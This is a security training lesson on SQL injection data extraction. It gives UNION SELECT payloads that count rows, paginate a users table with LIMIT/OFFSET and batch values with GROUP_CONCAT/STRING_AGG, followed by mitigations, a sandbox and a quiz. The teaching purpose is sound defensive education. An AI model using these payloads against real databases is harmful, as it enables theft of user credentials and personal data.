Login
ChallengesLearn
Scoreboard
Teams
Profile

Preferences

Truesapiens

LearnSQL InjectionSQL Injection: Extracting data
SQL Injection·Lesson 12 of 20

SQL Injection: Extracting data

The full kill chain - from one vulnerable endpoint to the complete contents of the most sensitive table. LIMIT, OFFSET, batching, and how attackers think about throughput.

Intermediate18 min
SQLiExfiltrationDump
Loading lesson…
PreviousSQL Injection: Database enumerationNextSQL Injection: Finding it in the wild

© 2026 Truesapiens.

Terms of ServicePrivacy PolicyCookie Policy

The kill chain: one vulnerable endpoint → schema map → paginated dump of the highest-value table. This is the lesson that turns a finding into a breach - and the lesson every defender needs to understand to size a fix.

Prerequisites
Read these lessons first:
  • L6UNION-based extraction
  • L7Error-based extraction
  • L8Blind injection overview
What you'll be able to do
  • Paginate a UNION SELECT with LIMIT and OFFSET to dump a full table.
  • Size the table with COUNT(*) before extraction.
  • Use CONCAT to combine multiple columns into a single result row.
  • Recognise why batching and parallelisation matter for time and detection.
Key terms
Pagination
Reading a table in chunks using LIMIT and OFFSET. The only practical way to dump a table that is larger than a single query response.
Batching
Grouping rows into a single response with GROUP_CONCAT (MySQL), STRING_AGG (PostgreSQL), or STRING_AGG-equivalents. Trades response size for request count.
Order-stable
A query that returns rows in a deterministic order (ORDER BY id). Without ORDER BY the database may return different rows on every request, and OFFSET pagination skips or duplicates rows.
Throughput ceiling
The maximum rows-per-second the application or network can support. Exceeding it triggers rate-limiting, timeouts, or WAF alerts.
What is it?

The full kill chain, step by step

Once the schema is mapped and the high-value tables are identified, extraction is a pagination loop. The classic primitives:

sqlvulnerable
-- Step 1: size the table
UNION SELECT 1, COUNT(*) FROM users

-- Step 2: paginate with LIMIT / OFFSET
UNION SELECT id, username FROM users ORDER BY id LIMIT 100 OFFSET 0
UNION SELECT id, username FROM users ORDER BY id LIMIT 100 OFFSET 100
UNION SELECT id, username FROM users ORDER BY id LIMIT 100 OFFSET 200
-- ...until the result is empty

-- Step 3: batch rows with CONCAT to reduce request count
UNION SELECT 1, GROUP_CONCAT(username SEPARATOR ',') FROM users

-- PostgreSQL equivalent
UNION SELECT 1, STRING_AGG(username, ',') FROM users

The ORDER BYon a unique column is non-negotiable. Without it, the database is free to return rows in any order - and pagination skips or duplicates rows depending on the engine's plan.

Pagination loop
Mini Map
Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.
Try it

Paginate a 87-row table

The sandbox fakes a users table with 87 rows. Step through with Next page, or hit Auto-paginate to see what a 200-millisecond-per-page scanner does to the request count. The progress bar tracks the extraction.

stagingexport.staging.acme.io/users
data-export-console
Rows read
0 / 87
Requests
0
≈ - total needed
Throughput
0rows / request
Current query
SELECT id, username, email, role FROM users ORDER BY id LIMIT 5 OFFSET 0-- 
idusernameemailrole
1user_001user1@example.comadmin
2user_002user2@example.commember
3user_003user3@example.commember
4user_004user4@example.commember
5user_005user5@example.commember
offset 0 · 0 req
Real-world relevance

What the data looks like in production

The biggest dumps in published SQLi breaches share three patterns. First, the high-value table is almost always users, customers, or accounts - not the smaller auxiliary tables. Second, the dump target is rarely the entire table; it is the email and password_hash columns. Third, the dump finishes in minutes, not hours, because the attacker batched rows with GROUP_CONCAT /STRING_AGG instead of paginating one row at a time.

Mitigation

The same fix; better defence-in-depth

Parameterisation closes the injection. The defence-in-depth measures that survive a successful injection are the same as the enumeration lesson: least-privilege database user, column-level encryption for PII, and PII redaction at the query level (so even a successful SELECT email FROM users returns alice@… with the local part masked).

javascriptparameterised
// SAFE - column whitelist, bound LIMIT, and a server-side mask
const SAFE_COLUMNS = { id: 'id', username: 'username', email: 'email_masked' };
if (!(column in SAFE_COLUMNS)) throw new Error('invalid column');
const query = `SELECT ${SAFE_COLUMNS[column]} FROM users WHERE id = $1`;
await db.query(query, [id]);
Further reading
  • sqlmap: data extraction options(sqlmap)
  • GROUP_CONCAT (MySQL)(MySQL)
  • PostgreSQL STRING_AGG(PostgreSQL)
Key takeaways

What to remember

  • Extraction is a pagination loop: LIMIT n OFFSET k until the result is empty.
  • ORDER BY on a unique column is non-negotiable - without it, OFFSET skips or duplicates rows.
  • Batching with GROUP_CONCAT or STRING_AGG trades response size for request count.
  • Defence-in-depth: least-privilege DB user, column-level encryption, and PII masking in the query layer.

Knowledge check

0/3 answered · 0 correct
  1. 1.Why does the LIMIT/OFFSET pagination loop need an ORDER BY on a unique column?

  2. 2.Why does an attacker prefer GROUP_CONCAT (or STRING_AGG) over LIMIT/OFFSET for fast extraction?

  3. 3.The application database user has been granted only SELECT on specific tables. The attacker has SQLi. What is still exfiltratable?